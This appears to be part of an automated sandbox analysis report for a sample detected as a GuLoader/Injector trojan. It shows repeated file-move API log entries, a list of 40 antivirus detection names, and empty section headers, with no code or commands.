MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0
MoveFileWithProgressW Oct. 1, 2024, 4:37 p.m.	newfilepath_r: C:\Users\test22\skrivebredden.chr flags: 2 oldfilepath_r: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far newfilepath: C:\Users\test22\skrivebredden.chr oldfilepath: C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\acouometer.far		0	0

File has been identified by 40 AntiVirus engines on VirusTotal as malicious (40 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Leonem.4!c
Cynet	Malicious (score: 99)
Skyhigh	Artemis!Trojan
ALYac	Gen:Variant.Ser.Tedy.6962
VIPRE	Gen:Variant.Ser.Tedy.6962
Sangfor	Trojan.Win32.Injector.Vl7k
CrowdStrike	win/malicious_confidence_100% (D)
BitDefender	Gen:Variant.Ser.Tedy.6962
Arcabit	Trojan.Ser.Tedy.D1B32
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	NSIS/Injector.DAQ
APEX	Malicious
Avast	Win32:InjectorX-gen [Trj]
MicroWorld-eScan	Gen:Variant.Ser.Tedy.6962
Rising	Trojan.Injector/NSIS!1.1041D (CLASSIC)
Emsisoft	Gen:Variant.Ser.Tedy.6962 (B)
F-Secure	Trojan.TR/AVI.Inj.itpsl
TrendMicro	Trojan.Win32.GULOADER.YXEJAZ
McAfeeD	ti!9124D7696D2B
CTX	exe.trojan.leonem
Sophos	Mal/Generic-S
FireEye	Gen:Variant.Ser.Tedy.6962
Webroot	W32.Trojan.Leonem
Google	Detected
Avira	TR/AVI.Inj.itpsl
Antiy-AVL	Trojan/Win32.Znyonm
Kingsoft	Win32.Trojan-Downloader.Powedon.gen
Microsoft	Trojan:Win32/Leonem
GData	Gen:Variant.Ser.Tedy.6962
Varist	W32/Injector.VCNX-6863
McAfee	Artemis!450228D72F9F
DeepInstinct	MALICIOUS
Malwarebytes	Trojan.GuLoader
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	Trojan.Win32.GULOADER.YXEJAZ
AVG	Win32:InjectorX-gen [Trj]
Paloalto	generic.ml
alibabacloud	Trojan[downloader]:Win/Leonem.Gen

dllhost.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All